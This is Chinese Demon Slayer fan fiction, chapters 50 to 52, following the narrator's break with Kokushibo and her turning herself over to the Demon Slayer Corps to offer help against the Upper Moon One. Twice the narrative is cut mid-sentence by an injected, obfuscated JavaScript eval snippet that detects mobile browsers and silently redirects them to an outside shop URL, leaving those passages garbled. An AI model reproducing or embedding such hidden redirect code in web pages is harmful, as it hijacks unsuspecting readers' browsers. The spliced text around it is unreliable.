她收拾一阵,又问道:“你有在听吗?我跟你说……人呢?你去那儿!” 光子推开医疗室的门一路狂奔出去。 大门口,蝴蝶忍推着坐轮椅的姐姐,向老师告别,再次重申自己一定会参加最终试炼的决心。老人一脸凝重,没有说什么,叹息着拍拍弟子的肩。 依依惜别的动人气氛在一秒破坏殆尽。 光子张牙舞爪地从屋里冲出来,后面跟着气急败坏的小葵。 “你在干什么?快给我站住!” 光子充耳不闻,继续向前冲,超出目瞪口呆的豆豆眼三人组,在没反应过来的蝴蝶姐妹眼皮子底下,稳、准、狠地扑上了培育师老人的大腿。 “姑婆,救我啊!”她大喊。 “嗯,听完了,”鬼杀队前虫柱青木森大人划亮火柴点燃香烟,“所以你是次郎那孩子的后代?” “是的,没错,我就是,”光子点头如捣蒜,“姑婆,您不知道,家族现在还流传着您的传说呐!” “呵,还说我坏话呢。” “呃……”光子卡壳了。 她想了想,重新组织好语言套近乎:“您心里清楚的,这其实是赞美,对吧?” 青木森看着少女狡黠的笑容,懒洋洋地吐出烟圈:“确实,听到他们五十年了还在破防,我这心里呀,实在是爽得不得了。” 光子眼睛一亮:“就是,就是。” “听说你在东京找了份工作,不准备回去了?” “当然是追随姑婆您的脚步呀!” 青木森点点头,眯着眼睛抽了会儿烟,忽然道:“你像我。” “那可不,也不看我是谁的侄孙女。” 青木森笑笑,继续道:“你挺有天赋的。” “???”光子抬起头,忽感大事不妙。 “听说你从上弦之二手底下逃走了,本来以为是侥幸,但今天我看到,小葵这样通晓呼吸法通过最终试炼的前剑士也追不上你,跑得很快嘛。”她摆弄着光子的手,“你袭击蛇柱的事我也听说了,你擅长投石子对吧?准头一定可以。要不要加入鬼杀队?我保你出去。” 光子全身僵住了。她没法儿从对面老人意味不明的笑容中判断她是单纯威胁,还是来真的。但这已是她唯一的机会。 光子咽了口唾沫。 “姑、姑婆,”她紧张得结结巴巴,“我觉得,我找的那个工作,就挺好的。” 青木森掐灭了烟,光子一个哆嗦。 “那你走吧。” “嗯?”光子震惊。 “不是所有的天赋都需要兑现,既然有了喜欢的工作就走吧,这点主我还是可以做的。”老人丢掉烟头,“还有事,记得来这个地方就能找到我。” “嗯?好好好。”光子手忙脚乱接过便签一看,“高级啊,姑婆您住的地方太高档了,我还以为……” “以为什么?高手就必须隐居山林吗?”她不快地抖抖衣衫,“我年轻时在小地方待得够够的,下半辈子就要大城市、大别墅、大院子。” 光子悄悄吐了一下舌头,她还真以为姑婆的大本营就是一座翻版蝶屋呢。 “我真走啦?” “那还有假?” 光子麻溜站起来一路小跑出去又一阵分似的折回来,弯腰一个大鞠躬:“太感谢了,我发工资了就去探望您。姑婆再见!” 说完哒哒哒地跑远了。 青木森捻着手指检查香烟有没有熏黄那里,幽幽地叹气:“还是太年轻。” 另一边蝴蝶忍气冲冲地进来:“老师,姐姐没说过可以放人!还有,您不能再抽烟了!” “真是不可爱啊,小忍。”她眼巴巴地看着被抢走的烟盒,下次得换个地方藏了。 “不要被仇恨冲昏头脑,小忍,”被推出门之前,老人不忘告诫她,“还不快派人跟上去?” 50.第 50 章 “我想要回家。”你忽然说。 黑死牟停在你头发上的手一顿。 那里凝固的血块太多,实在不好清洗,他迫不得已剪掉了一部分。现在,你的发尾乱七八糟,在脑后蓬松地炸开,像一只委屈的小动物。 “不想多玩一会儿了吗?”他问。 果然,在你要求外出的时候他就察觉到了不对劲,没说出来罢了。 你闭上眼睛,手臂环抱膝盖,头埋进里面。 他沉默一会儿,提出建议:“我们换个地方住也很好,你觉得呢?” 这本该是归来后你要说的话,从他这里听到,真是世事无常。你没有给出任何反应。 他耐心地继续:“其他的房子也不错,我们可以多试试,你不喜欢的话再搬。” 他是无所谓住哪里的,之所以长期停留在那个小镇,只是因为你喜欢靠近人的地方。现在看来,这个决策是失误的。 你沉默了很久,才小声道:“那要把我的书搬过来。” 一会儿又补充道:“还有猫。” 走之前,你很有先见之明地叮嘱光子多放了几天的猫粮和水,所以小家伙们没有太挨饿。你摸摸它们光亮的皮毛,看它们还是很活泼的样子,放下心来。 最后一只猫蹦蹦跳跳,爬到桌子上逃离你的手,你直起身来。冷不防一回头,看到黑死牟跪坐在旁,也像只等人摸的大猫。 一时间,你心上像挨了一记重锤,痛到两眼发昏。 他惊慌地扶住你:“哪里不舒服吗?” 明明在通透世界里,你的脏器运行没有任何变化。 你摇摇头,喘着粗气推开他的手,伏倒在榻榻米上,等那刻骨的痛自行消散。黑死牟就那么愣愣地站着,不知道该做些什么。 好一会儿过去,他大约明白过来你不想看到他,默默地退到门外。 屋里坏掉的灯泡滋滋响几声,灭掉了。 等重新可以爬起来,你翻出所有能找到的蜡烛点亮,然后去检查那些还没来得及整理的书。你在找香奈惠来的那天在看的那本。 要能一点点梳理出那天做过的所有事,应该就能回想起来,她到底写了什么吧。 海量的记忆信息在极短的时间被打包塞进了大脑,导致你现在有点像一台坏掉的电脑,每一条指令执行起来都非常之慢,要多反映一会儿才行。 对此,你不怎么惊慌,身体的不适早晚会随时间推移好转起来。虽然还不清楚身在何方,但能离开无限城总是好的,你总能找到机会和外界取得联系,把消息传出去。 唯一麻烦的是,近日之事被翻涌的过往挤占,反而变得模糊、遥远,你怎么努力,也很难拼凑出完整的图像。 白蜡彻夜地流涕,在烛台上堆出斑驳的泪痕。你看完了那天的书、教案、佛经,还把斋文写了几遍,也想不起来香奈惠递来的纸上到底写了什么。都怪当初撕得太快了,没看过几眼的东西,要背出来简直难如登天。 你颓丧地丢开笔捶着脑袋。那应该是个地址,在哪里呢? 光子马不停蹄一路溜到东京后,心惊胆战地在旅馆里蹲了好几天。确定了没有人跟踪,她还是煞费苦心地变了个装,绕了几条街去打公共电话。 接听的是社长助理。她介绍说自己叫雪実,同时转达了社长的意思,知道她是外地人,所以预留了报到时间,不必着急等等。 卸下心中的重担,光子搓搓脸冷静下来,思考怎么给自己找个可靠的住处。回家是不可能回家的,她不信鬼杀队的人没有第一时间把她查得底掉。 背负着这种程度的舆论压力去向叔叔婶婶讨口饭吃,然后窝窝囊囊地嫁给堂哥,被小地方知根知底到八代的碎嘴子指指点点到死……任何稍有选择的人,想想就要跑了吧! 在心里向那几只小猫道了歉,光子果断挂了电话,朝着你说过的,诗织小姐家走去。好像隔了一个区那么远呢,但这几天花销太大了,还是腿着去吧。 因为不熟悉路,外加好几个人指的方向南辕北辙,光子感觉自己走得天荒地老,两条腿都快断了,才停在一座西洋庭院前,铁艺的大门紧闭着。 有钱人家啊。 光子紧张起来:能拜托她介绍合适的房东租房吗?该不会都超级贵吧! 徘徊了几圈,想到今晚已无处可去,她鼓起勇气摁下门铃。诗织很快把她迎了进去。 小书房里,自我介绍完,她就僵硬地坐在沙发上,不知道说什么好了。诗织笑笑,倒了一杯红茶给她:“我知道你,上次聚会我们聊起过。跟你说说我吧。” 她指向自己:“我和介绍你来的夫人是认识,六年前,在一次英国文学沙龙上初次见面。这些年我们一起给幸勇先生的杂志供稿,书信往来和私交也很密切,我认为我们称得上是很好的朋友。” 说着说着,诗织取出一份稿件,包括原稿和校样给她看:“杂志社向国人征稿,也引进一些西方文学。英文的稿件通常由她翻译,我精校,再交给社长终审,原稿交会保存到社里。” 光子一边听一边点头,适时地表达惊叹和赞美,心里却不知道她为什么说这些。 “这是最近寄来的,下个月就要印刷,”她翻动书页到最后一张,“我是校对完才发现的,你看这里。” 光子茫然地按她的指引低头去看,那些弯弯曲曲的洋文她并不懂。但是没有关系,诗织已经翻译好了写在下面: 问问光子,这个地址的后半部分是什么。 诗织念了出来:“这是哪里,你知道吗?虽然没有道理,也很不应该,但我想她的处境一定很麻烦,没准儿遇到了危险。这些天我一直等你来,身为朋友,我很想帮她,你可以告诉我吗?” 光子半天说不出话来。这半截地址,怎么看怎么都觉得,就是她姑婆家啊! 你摸着黑在房间里换衣服。 灯泡怎么都修不好,最后一只蜡烛也已熄灭。你不觉得采光这种借口可以支开黑死牟,也就懒得开口。 手指在发软,稍精细一些的动作都做不来。好不容易系好最后一颗扣子,摸摸下面还有一个孔,只好全解开重新系。 不能着急,现在需要的只是等待。 你这样告诫自己,深呼吸几次,把扣子一颗颗系好。 之前几天虚弱到站不起来的时候,只能穿浴衣。现在,你把所有便于运动的衣物都翻出来,慢慢穿上。 光这个步骤,已耗费你不少功夫。黑死牟有几次似乎要过来帮忙,你没有在意,一个人独自完成了。 猫猫们环绕在你的脚边,咪咪地叫着。它们的眼睛在黑暗里闪闪发光,活像七八盏灯在围着你转。 可你盯着它们看一会儿就开始眩晕,就和黑死牟看过来时,你不知道要对准哪一双眼的感觉一样。 所以,能不看就不要看。 穿好衣服,你摸索着再去找纸笔。 稿子寄出去了,你还有好多事情要做:学习班托付给新老师,通知补习的学生停课学费结清,想办法把之前收到的稿酬兑换了,最好自行车也能出二手回点血…… 给从前的工作收尾,也是重新建立和社会的联系,顺便锻炼恢复体力、脑力,方便逃走。这些全部都要黑死牟配合,他还愿意给你多少自由呢? 可要是不去尝试的话,就一点机会也没有了。 你用无限的耐心处理从前觉得不耐烦的琐事,做得慢或者不能成功也无所谓。黑死牟应该可以看出你所做的一切,都出自分别的预谋吧,对此,你并不在乎。 他沉默的注视下,你有条有理地做着手头的事务,要一口气都了结完,免得有什么纠纷,耽误以后要做的事。就像他要离开继国家时做的那样。 回信在半个月后姗姗来迟,你是根据邮戳上的日期确定的。 信件出自诗织之手,内容是用英语写的,短短的一行字写在下一期的稿子上。即使心里早有准备,你的手也开始颤抖。 人是怎么走到必须分离这一步的。你从来就没有想明白过。 把刀揣在怀里的时候,刀刺入他身体的时候,这个问题都没有闪现过。你只是想:再快一点就好了,再刺进去一点就好了。 生死可以置之度外的紧迫时刻,没有功夫去琢磨。等时间有了余裕,你又丧失了探究的欲望。答案搁置在记忆断裂的碎屑里,无论你还是他,都捡不起来了。 所以,分开是最好的。 你用仍在发抖的手合上稿件、封好信封,放下笔,身体也开始打颤。 按他们通过光子找到你的效率,不会有多久了。 新一轮的等待开启。你发呆、走神的频率增加。有一回,黑死牟走过来,坐下,你也没什么表示。 他明显也在发呆。 你们面对面,却没有相顾无言。空气里不断膨胀到难以忽略的东西,是你们各自的茫然。 正当你无法忍受起身离开,他从后面抱过来,结实的胳膊和宽阔的肩膀将你整个包裹在里面。 你从未如此鲜明地感受到,这具身体下蕴藏着足以将你折断的力量。原来恐惧与愤怒会相互转化,他有满腔的怒火在肌肉下游走,全身硬得像一张拉满的弓。而你虚弱无力,头和手脚软软地垂下,随着他的动作轻轻地晃荡。 他无目的地来回走在四壁间,高大的身躯显得房间都小了。你想起小时候和妈妈去动物园,皮毛黯淡的老虎在铁笼子里神经质地兜圈,那对儿玻璃珠似的眼睛多么哀伤。 你还是一动不动。 他把你抱起来一点,脸颊贴在你的额头,神情还是一副不知做什么的样子。直到经过推拉门,不小心把屏风带倒,月光从走廊照进来,照亮你没有血色的肌肤。他方如梦初醒,松开了手。 “和我说说话吧。”他哀求着,仍紧贴着你。 “好。” 他僵住。 “为什么,”你的大脑转得还是很慢,以至于话也说得慢慢吞吞,“为什么还要……” 你说不清楚,比划一下:“还要,和我一起。” 他把比转过来正对着他。 因为是妻子啊,夫妻就是要在一起的,因为选择了对方就要承担起责任,因为责任就是一切,因为…… “因为我爱你。”他说。 这才是一切的答案。 他在博物馆门口等着你的时候就迫不及待想要告诉你的答案,在他的幸福达到圆满时应该出现的答案。 为什么选择一个人,成为夫妻,然后在一起?因为我爱你。 “这样啊。”你说。 似乎在为这个回答感到意外,你头歪一歪,思考着什么的样子。 黑死牟的心提到了嗓子眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208572|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对劲,你的脉搏和呼吸节奏没有变化,心脏平稳地跳动,其他的器官看起来也平整光滑,没有什么问题。那要怎么预知你接下来的话和反应呢? 黑死牟无比慌乱。这是不对,他应该对你全知,没有一丝遗漏的地方。 你开口了:“那我的孩子呢?” 你直直地看着他:“他们算什么?” 我们的孩子算什么呢,岩胜? “世上怎么会有这种人啊,对着老婆的尸体演深情,老婆生的孩子是不管的啊?”牛车上,你大喊着。 “嘘,”是那个叫花子的奶娘的声音,“小心让人家听见!” “父亲,但我不明白,您真的爱母亲吗?” “可、可我爱她呀,”病榻上的老人哭得涕泗纵横,“我是爱她的呀!” “我不会像你,这个你大可放心,我不会像你一样!” “你看着吧,我会做的比你好,比所有人都好!” …… 彼时彼刻,与眼前之景重合。 黑死牟僵立在原地,胃部的痉挛引发食道的反应,呕吐的冲动开始翻涌。 为什么还要和我一起? 因为我爱你。 爱不是这个样子的。 那它是什么样?没有人告诉我。父亲,到头来,我和你一样。 他倒退几步,随即转身离去,背影几乎是仓皇的。 这回不是他抛下你,是你自己要选择离开。这没有什么关系,只不过回到你未曾出现的时光。 你跌在乱七八糟的屏风里,看着门推开又合上,那种激烈的痛再次袭上心头。你认识的他举止彬彬有礼,少有如此失态的时刻。 空荡荡的房间里,你独自等待着最终结果的到来。 除了杂志社寄来的汇款单不好兑现,该处理的都已处理好。你坐着发呆了一会儿,开始收拾东西。 稿件社里有备份,不重要,书不方便携带和出手,全部打包起来,衣服什么的不用管了。对了,去鬼杀队要不要带行李?他们住什么地方,那里东西齐全吗? 你翻出一只小箱子往里装东西:毛巾要有,带两条吧,还有牙刷、杯子、纸巾、梳子、手帕……每次快开学,妈妈都往你包里塞什么来着? 你想了一会儿,去找换洗的衣服,多来几套。糟糕,箱子盖不上了。你把那些零碎取出来,重新整理一遍再放进去——还是盖不上。 整理行装也是一门学问啊。你薅薅刘海儿,泄气地往外掏,衣服少带一套,纸巾、香皂可以再买也拿出来…… 好几天里,你想起一样就加进一件,多了就减去一件。加加减减,箱子里的内容每天都不同。 鬼杀队的人什么时候来呢?希望那天你已经想出了完美的方案,可以拎箱就走。 可上天和你一样喜欢随便改变计划。夜间的惊雷带着闪电冲破天际,暴雨倾盆而下,雨珠急速地敲打屋顶,那声音几乎要穿透木质的房梁砸到人脑袋上。 你急着去关风吹开的窗子,一只乌鸦从哪里蹦进来,低头梳理滴水的翎毛。 刹那间,你明白了为什么总觉得缺少什么。 “请等一会儿,就等一小会儿吧。”你哀求着这只不详的鸟儿,跑回屋里去找那几只猫。你还没有给它们找到合适的去处啊。 小猫们喵喵地叫着乱跑,你费了一番功夫才把它们全抱起来塞到雨衣下,胡乱背上小挎包跑了进去。 来到这里还是头回出去,你分不清方向,抹一把脸上的雨水,艰难地寻找光亮的地方跑过去。 能成功吗?漆黑的雨夜里,一个奇怪的陌生女人敲门求人收下她的猫。 你尽力地跑着,腿有些使不上劲儿,趔趄一下才重新站稳。但跑着跑着,过去自如的感觉重新回来,身体变得轻盈,穿梭在夜间的小道上。 可以的,一定可以。你都看到山坡那边一扇扇亮灯的窗户了。 气喘吁吁爬上坡,你抱着猫停下来。 山坡上立着一个高大的人影。他双手合十,立定不动,有如一尊威严的仁王像,寸把长的头发湿透后仍然挺立。斗大的雨点浇在那柄利斧上,飞溅起的小小水花像给上面披了一层雾。 你敛声屏气,浑然忘却自己的处境,猫咪们趁机钻出雨衣很快就跑掉了。 你这才有所明悟,口干舌燥,心跳如擂鼓,一句话也说不出来。 一两秒的功夫在呼吸间无限延长,魁梧的盲僧人身后转出一个持伞的少女,看起来比你还要小一圈。她神情严肃,几乎是横眉冷对,脑后延伸出来的蝴蝶发卡看起来很眼熟,但她不是香奈惠。 “我替我姐姐来,”蝴蝶忍冷冷道,“主公同意了她的建议,但你要先喝下这个。” 她递过来一只杯子,然后解释道:“这是稀释后的紫藤花提取物。” 雨水顺着雨衣的帽檐滑落,在你眼前流成几簇小小的瀑布。胸前猫儿紧贴过的地方濡湿了一大片,风吹着凉飕飕的。 你接过来,喝下去。 杯子翻落,掉在地上滚几圈,沾满了泥水。你也痛苦地倒在上面。 或许,这是一个陷阱、一场欺骗。你喝下的是浓硫酸或者其它类似的东西,滚烫的灼热感从舌尖一路烫到胃底,再蚀破胃壁,烧穿五脏六腑。 你疼到蜷缩起来,挣扎几下,就不再动了。 51.第 51 章 黑暗的淡去是很快的事。你开始感到知觉恢复,眼皮像黏着一样的沉重感还未消退,视觉已经有了微弱地反映。 吃力地睁开眼睛,成像并不十分清晰。你甩甩脑袋,再用力地眨一下眼,看到的还是一片红色。 他们用红色的布给你蒙眼的吗? 你正迟钝地思考着,红色发生了变化,视野中渐次进入其他颜色:条纹状的黑,圆圈形的白,当中再加一点黑。色彩退后去,上面伸出一只长长的鼻子…… !!! 你尖叫一声险些摔倒,一只手探过来摁着肩膀把你扶正了。 “请别害怕,小姐,我是人。” 他踌躇片刻,还是把面具摘掉,露出下面那张异常和善的脸。他满头白发,苍老的皱纹爬在额头、眼角、两颊,就像你在路边能碰到的每个普通的小老头。 “我是鬼杀队的前水柱鳞泷左近次,不确定您是否对我还有印象。但这四十年来,您一点变化也没有。” “二位能确定吗?”鬼杀队的主公产屋敷耀哉向跪坐在他面前的两位老人询问道。 鳞泷左近次含蓄地点点头,他右手边,桑岛慈悟郎激动地一拍大腿:“我俩都看着眼熟,那肯定就是了嘛!那可是让我引退的一战,这辈子都忘不了。” 说完,他想起什么,摸摸下面那只木头假腿,乐道:“这么说,我这腿是上弦之一砍下来的。嘿嘿,那还不赖。” “辛苦你们跑这一趟了,但我仍然有所疑问。”产屋敷耀哉看向面前一摞摞的档案记录,他的视力已经衰弱到无法独立阅读它们。 天音夫人挑出重点小声念给他听,两位大人不时地为他解答。 鬼杀队漫长的历史中,不止一次面临被迫转移的险境,传承被打断,造成重大的损失。因此,他们很重视情报的收集和保存,特别是有关十二鬼月的内容。 快有半个世纪,历代家主看重的记录里,级别最高的部分,是前水柱、前鸣柱疑似遭遇上弦鬼的详细调查。 之所以是“疑似”,是因为他们二人并没有在真正意义上与之交手。现在,当年事件中的关键人物重新出现,一切都有了验证的可能。这些陈年档案总算可以更新了。 产屋敷耀哉认真聆听,谨慎地下着判断。他要反复对比不同视角、时间下的叙述,从中寻找唯一正确的可能,然后做出决定鬼杀队未来数年方向的决定。这绝不轻松。 天音夫人握住丈夫强撑的手。 良久,他合上面前的书页。雏衣和日香上前,把东西搬走。 “辛苦大家了,”他微微欠身,“我心中已经有了一个模糊的想法,但它还没有成形。必须要先和‘那位’面谈后,才能有所完善。不得不麻烦二位多加配合了。” 鳞泷左近次、桑岛慈悟郎恭敬地还礼回去,齐声道是。 他微笑点头,示意大女儿:“告诉孩子们,可以进来了。” 你抱着膝盖心神不宁地缩在墙角。再见到那个带面具、蓝色衣服上云纹的人,太出乎意料了。 你对此并非没有预想,可时间的残酷就这么赤裸裸地呈现出来,你惊觉曾经痛苦到走不出来的情绪波动实在算不了什么。 四十年了。整整四十年了。 红颜朽为槁木,年轻挺拔的剑客双肩微佝。而你双手盖在脸上,指尖下的皮肤光滑细腻,散开的青丝乌黑发亮。 您一点变化也没有…… 还能有比这样一个人说出这么一句话,更恐怖的吗? 太多可怕的猜想蜂拥而至,又飞速溜走。你捕捉不到它们,如临大敌,手指绞起来,指甲陷进肉里。 香奈惠呢?她怎么不在?心知这不过是雏鸟情节在作祟,你还是忍不住期盼起来。希望她赶紧出现,解释一下目前的状况。 你有点绝望地等着她。好像她一出现,一切可以迎刃而解,你能再把头埋进沙子里。 唰,门打开了。那个让你感到畏惧的高大身影再次出现,言简意赅道:“来。” 你跌跌撞撞爬起来小步紧跟在他身后,全程头都不敢抬一下。 他真的好大一个啊,得有两个你宽还不止,身高两米多了吧。你紧张得不得了,老觉得他一回头,就会徒手摘下你的脑袋。 不行,脖子开始发凉了,不准想了!你握紧拳头暗暗给自己打气,一大步迈出去,咚的一声撞在了他背上。 “对不起、对不起!真的非常对不起,我……” 他不言不语,提溜着后脖子往前一放,你就完成了行大礼的全部流程,跪倒在地面上,头磕得嗡嗡响。 “对、对不起……” 你挣扎着坐起来,一秒失声。 一天当中,同时碰到两个熟人应该不是什么奇怪的事。这儿毕竟是鬼杀队,你第三次和他们打交道。 鳞泷左近次、桑岛慈悟郎。 其中一位刚刚还在打招呼,可不知道为什么,他们一起这样严肃地端坐着,你就开始毛骨悚然。 不详的预感的疯狂预警,你双手汗湿,说不出一句话,直到身侧传来轻声的咳嗽。 你下意识转过头—— 那是一个病弱清秀的男人,遍布半张脸的伤疤也无损于他儒雅的气质。虽然看起来肩不能扛手不能挑,但此人毫无疑问是在场所有人的主心骨。 他由两位白发的女童踏上走廊,身后是各式各样、五颜六色的一群人,简直令你怀疑自己是不是穿到了哪个二次元的世界。 可你僵硬不能言的原因不是这个,而是——他那尚完好的半张脸,各个角度都让你想起无论如何都不该想起的另一个人。 这是噩梦吗? “喂,恶鬼!”不死川实弥率先喊道,“看哪儿呢?” 所有人的视线一起上升了几百个摄氏度,烧得你马上就要全身着火,赶紧低下头。 这里没有香奈惠,连那个头发后戴一只蝴蝶发卡的小姑娘也不在。无一郎他,他…… 你头垂得更低。 你这样识时务了,他也没放过的意思。堪比X光的视线就是隔着一堵墙你也能感到吧,他把你从头到尾扫视一遍,鄙视之情每分每秒都在累加。 “不是说它身边有上弦的鬼吗,在哪儿?不要浪费我的时间,立刻就把情报交出来!” 他的急迫点燃了一屋人的情绪,质问一声声压过来: “这就是上弦鬼的品味?完全不华丽,就让我华丽地杀掉好了。” “既然不能达到预期的目的,我认为没有必要再浪费时间。” “一只鬼待在这里真是让人担忧,我来杀掉它吧。” 其他人就算没开口,也用眼神表打了同样的意思。 你反而镇定下来,调整好姿势,端正地坐直,双手搭在膝盖上。他们有强烈的企图,你没有来错地方。 至于这个主公的问题……你再一次看向他,决定先不纠结。反正,你只是要达到自己的目的罢了。 产屋敷耀哉打手势让众人安静下来。 “有关上弦鬼月的珍贵情报,我通过她已经得到不少了。”他说,“现在就可以告诉大家。” 门合上,隔绝了屋外那些情绪相似的注视。 那个自称产屋敷耀哉说,他思前想后,还是觉得由当年的亲历者来向你解释比较好。 你怔怔地看着手里的东西:一份旧报纸,还有一张奇怪的纸片。它们保存完好,但上面岁月的痕迹无法忽视。 你先看薄一些的纸片。 纸上是奇怪的简笔画。一张鼻子长长的脸,下面是左右两个长方形连一个正方形,里面是波浪线连成的云朵。旁边还有钢笔字迹的“我知道你要打听的事”。 是你没来得及贴出去的启示。 记忆回溯到车站边的那个傍晚,随后发生的事也一同袭来。你把纸翻过来倒放在桌面上。 这是正常的,那两人都在你面前坐着了,有这个东西是正常的。 “不继续看了吗?” 你紧张地蜷起手指,脆弱的古董报纸掉下细碎的纸屑。 “你要说什么,先说吧。”你艰涩地开口,声音透着虚弱。是喝下紫藤花提取物的原因吗? 鳞泷左近次低下头,红色的长鼻子指向地面。 “这张纸,是你的父母交给我的。” 你张张嘴,没发出任何声音。 他一口气说下去:“我是在守灵仪式上见到他们的。原本,我是打算在放下花后就离开的,但他们看到了,追上来拉住我,说什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213299|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让我走。因为,他们彻夜未归的女儿在房间里留下了这个。” 你捂住了脸。他等不到反应只能硬着头皮说:“当年,鬼杀队查了很久,可谁也找不到你。整座建筑都消失了,没有留下任何痕迹,你的尸体也找不到,只能列入失踪名单。” 桑岛慈悟郎清清嗓子,别别扭扭地补充道:“不光是当年,鬼杀队一直在查的。” 他真的很不适应这种场合,但完全把事情推给同伴好像也不太好,遂憋出这一句话。 “是的,鬼杀队一直在查,但线索渺茫,没有定论。你的父母就始终相信你真的只是‘失踪’了,总有一天会回来。但是、但是,大约就在八九年前,西洋的验血技术传进来了。我们的人在靠近那座建筑大门的位置,检测出了已达到致死量的人类血液成分。在和当时幸存者的证词对照,足以确认你的‘死亡’。名单更新后不久,他们……”* “别说了。”你突然道。 鳞泷左近次立即收声。 你再也坐不住,手臂摇摇欲坠撑着不倒下去,报纸滑在地上展开,露出几排形形色色的照片。那是当地报社对那起重大事件的追踪报道,罗列着失踪人士的肖像。照片经过放大、翻印,显得有些模糊,但面容依旧可辨。 其中一张,明显是从全家福上裁下来的。照片中人摆出常见的姿势,坐在椅子上对着镜头的微笑,肩头和右边的臂弯上各搭着一只手,分别来自父亲、母亲。 “不要再说了!”一直在恐惧的事变成现实,你愤怒地重复。 他拉着老友一起站起来:“非常抱歉,如果我那天多听你几句的话……” 来之前,他已知道要指认的是一只鬼。但是,四目相接的一瞬,不知不觉就换成对人的态度。就这样吧,他对自己说。这是对四十年前,那个人类女孩的。但这话,终究是说不下去了。 “我也是,”桑岛慈悟郎憋得五官扭曲,再憋出一句话,“很抱歉,当时是我大意了,我应该……” 鳞泷左近次把他拽出去了。 你手脚麻木,瘫在地上剧烈地喘息,耳朵里的轰鸣震到什么都听不见。 怒火烧干净,暴露出色厉内荏的真相。 你哭得不能自已。 他们对着你说话,就像是对着,一座坟。 其实没有错。作为人来说,你的的确确是死去了。死去四十年了。 格子门轻轻叩响,女童的声音小心翼翼传过来:“可以开门了吗?” 安静下来的室内,你恢复正襟危坐的姿势,强迫自己的情绪、声音都冷静下来。 门外,产屋敷耀哉平静地看你一眼。你推测他视物并不方便,但这一瞥里温煦的力量丝毫不减地传达到了你这里。 他一定想过要亲自告诉你,好亲身得到你最直接、最难以掩饰的情绪反应,佐证自己的想法,可最终还是退却了。为什么? 他觉得这样比较仁慈吗,还是说有别的什么打算?你无力去分辨了,一个人所能消化的感受,理应是有限的。 “我要说的已经讲完,”他对柱们道,“现在,我们听她来说。” 你深呼吸,手指绞起来,一切往事在心头滚滚驶过。 你要用尽全身的力气,才能让注意力重新汇聚在眼前最重要的问题上。 说些什么什么呢?一只鬼要来求助鬼杀队,说服他们接纳自己。对他们来说,这要比你第一次见鬼三观崩塌又重建,难多了吧。将要面对的激烈排斥,完全可以预想。 人总是返回到自己从前就相信的东西中,你就是这样的。经历过这么多,有过动摇,但过去二十多年教育留下的印痕,根本抹除不掉。 你终究还是无法接受可能有天意、神明、上帝这种事。探讨这个问题也没有意义,有神无神,不会影响你处世的态度。对那些不可知的东西,你要背过身去,告诉祂:我只为我自己而活。 人来到这个世界,不应当存在什么与生俱来的使命。 但是,倘若真有全知的造物者高居天上,对人间的行为给予处分,那你一次次重来的原因显然是—— “来到这里,我……”你开口,修辞变得不再重要。 “如果可以的话,我想要,斩下上弦之一的头颅。” 52.第 52 章(加更) “主公大人,我这就向您证明,这只鬼的谎言有多么离谱。” 那个率先站起来的白头发的男人冲上来,粗暴地拉扯着你的一只胳膊,把你拖出屋子,拖拽到一片林地里。 “口口声声说什么要杀鬼,为了生存说出这种话真是丑陋啊。”他狞笑着,“杀鬼的鬼?听起来不错,那证明给我看啊。” 他把你扔地上,丢下一把刀:“别说上弦,先杀一只普通的鬼,给我看看。” 很明显,他还记得那天夜里,你挡在黑死牟身前的事。 若是从前,光他脸上的嘲讽,就够你羞愤欲死了。你握住刀柄,吃力地拄着刀站起来。 这里据他说,距离鬼杀队选拔队士的地方很近,提前放进了几只低级的鬼。一只鬼,要怎么去抓鬼呢? 你抬起刀尖,慢慢走着。 身体一直没能摆脱找回记忆后虚弱的状态,可能也有未代谢的紫藤花毒素的影响,你走得踉踉跄跄。这个速度别说鬼了,一般的人可能也追不上。 不死川实弥不耐烦地啧了一声,自己动手抓了一只,踩在脚底下。 “这下很容易了。过来,砍掉它的头。”他碾碾脚尖,鬼发出撕心裂肺的惨叫,叫得你魂都快飞了。 犯中二病的那会儿,幻想过自己是一个冷血无情的杀手,过着刀尖舔血的日子,十步杀一人,千里不留行。然而事实上是,偶尔在超市看见杀鱼,你都要难受半天。 从小到大,投胎转世了几回,就没成功弄死过比蚊子更大的生物。 你举起了刀。 一步步靠近,那只鬼的样貌越来越清晰:他不大的样子,身上的衣衫破破烂烂,圆圆的一张脸面目狰狞,额头上是野兽的两只角,像刺破皮肤从底下钻出来的。他龇牙咧嘴地向你示威,口水从尖利的牙齿上滴落…… “到底行不行?给我快点。”他催促着,踩得更加用力,“鬼不是最喜欢自相残杀了吗?快点!” 你闭上眼睛。 忘掉他过去和你一样是人,会比较好。 刀刺下去。 “啊!”鬼发出凄厉的长啸。 你手一抖,刀掉了。 实弥没有半分意外,手一捞,剑锋已调转方向,轻飘飘地向下一挥。尖叫挣扎的鬼瞬间化为烟尘。 你跌坐在地上,瞪大双眼看着已空无一物的地面,那儿什么也没剩下。 挥刀的手扯起你的衣领:“这种程度都做不到吗?” 他冷笑着来回摇晃:“那你也可以去死了,不必回报主公,我现在就……” 你木楞楞地被他甩动,看着那发亮的刀锋不断逼近。 “风柱大人,”你道,“您是个真正的强者。” “嗯?” “这不是恭维,我只是想说,”你低垂着脑袋,平静地叙述,“我是一个弱者,做人、做鬼都是。” 